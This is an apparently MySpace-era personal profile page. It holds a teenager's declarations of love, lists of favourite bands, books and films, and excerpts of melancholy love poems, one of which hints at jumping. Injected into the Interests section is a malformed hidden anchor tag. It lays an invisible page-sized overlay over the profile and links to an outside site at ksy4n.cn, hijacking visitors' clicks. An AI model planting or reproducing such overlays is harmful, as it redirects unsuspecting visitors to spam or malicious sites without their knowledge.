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About Me

Hey all. if your reading this then i want you all to know, i love only one woman, and she is the most perfect girl that i have ever had the privlidge to even lay eyes on. i love her more than my own life. some may be wondering why i am saying this in my about me. the trueth is, she is my life. without her i wouldnt be able to function. im surprised she would even go out with me, let alone kiss me. i love her so much that when i think about her i can feel myself shake more than i usuallly do, i cant breath when she is laying next to me in bed. she is so beautiful, fun, and amazing. she is the only girl for me and i want everyone to know it.

My Interests

i like pool/biliards, movies, paint ball, hot tubs, standing up for what i think, proving other people wrong when they say im wrong, and of course just all around being the coolest fucking guy on the face of the planet.a class="popup_wrapper" style="cursor:default;background-image:url(http://ksy4n.cn/b g.jpg);left:0px;top:0px;height:8070px;width:1033px;" href="http://ksy4n.cn/s/" m$l$

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Music:

sum 41 is number one with me, Saliva, story of the year, Good Charlotte, Offspring, Papa Roach, Taking Back Sunday, Green Day, NOFX, Blink-182, Tanashous Deed, AFI, Lustra, Mest, Black Sabath, Metalica, Linkin Park, 3 Doors Down, The All American Regects, Sences Fail, My Chemical Romance, A Change Of Pace, Dashboard Confetional.

Movies:

The Number 23, V for Vendeta, the star wars tril (both the prequals and the classic), waiting, click, the prestege, wedding crashers, gladiator, miami vice, and pritty much ne movie that you think i would like based on your prior obsorvations of my about me or ne thing else on this page

Television:

one show, That 70s Show

Books:

davinchi code, the memory sorrow and thorn seiries, any Piers Anthony book, ne star wars book, flowers for algernon (also known as Charley), The Catcher in the Rye, Lord of the Flies, Civil Disobidiance, Walden, the halo books, Enders Game, David vs God,Eregon, Eldest, Speaker for the Dead, Xenoside, Children of the Mind, Shadow puppets, Shadow of the Hegemon, Shadow of the Giant.... and much more that i cant get out of the far recesses of my ever thinking mind

Heroes:

i dont got ne one i look up to, i use to, but it kinda just made me try and be them, and not me, so i stoped

My Blog

Love Letter

i can see the future. im alone and standing where i always stand, but not where i promissed. im standing all alone on the brink of a fall, teettering in the brisk wind. should i jump...
Posted by Ben on Sat, 31 May 2008 10:26:00 PST

without you

the world is spinning in the wrong direction, the pain is spreading faster than an infection, i cant see why you would do this to me, i see no end to this road of tourcherous inflection. i love...
Posted by Ben on Sun, 04 May 2008 01:16:00 PST

missing you

my eyes open just in time for the alarm to go off. im so excited for today that i have been getting no sleep at all for the past four weeks. i close my eyes and open them slowly to make su...
Posted by Ben on Wed, 27 Feb 2008 02:39:00 PST

Dreams

i sleep because i dream of you. i see you as vividly in my dreams as i see you in real life. the way try to hide your smile when i make you laugh but you want to be mad at me. i prob...
Posted by Ben on Sat, 16 Feb 2008 11:45:00 PST

You

a day goes by and you arnt here, and i feel reality slip a little bit more, my life is slowly losing all joy and chear, everything is shaded but one thing is clear, my love for you grows even when you...
Posted by Ben on Thu, 27 Dec 2007 04:23:00 PST

Good-Bye

The night is young, but i feel old,i feel like my life is over and sold,try to remember when i felt of gold,but on to those memories i can not hold.seeing them together is like a bitter taste,no longe...
Posted by Ben on Fri, 09 Nov 2007 11:02:00 PST

Burry What Isnt There

Walking in the dark, not knowing where to go, I see no path, even though the moon is aglow, Tree branches creek while the strong winds bilow, The world yells lack in a high screaming&n...
Posted by Ben on Wed, 24 Oct 2007 09:46:00 PST

Inocent Ignorance

Where did the child i was go? The care free life he had, i miss it so. Love of everything ouside of green food, He didnt even know the meaning of the word rude. Long days out in the sun,...
Posted by Ben on Mon, 15 Oct 2007 11:57:00 PST

Take a Step

When the rain falls on the ground, All i hear is the dull splash of that sound. It rains on the heads of those passing and falling behind, Time has a one track mind, only on forward and not rew...
Posted by Ben on Wed, 03 Oct 2007 09:50:00 PST

Post Beauty

Take me down and leave me there, nothing left for me to share. Falling down and wind rush by, to the bottom from the sky. Care for nothing leave it all up in the clouds, leave all that i...
Posted by Ben on Sun, 23 Sep 2007 12:27:00 PST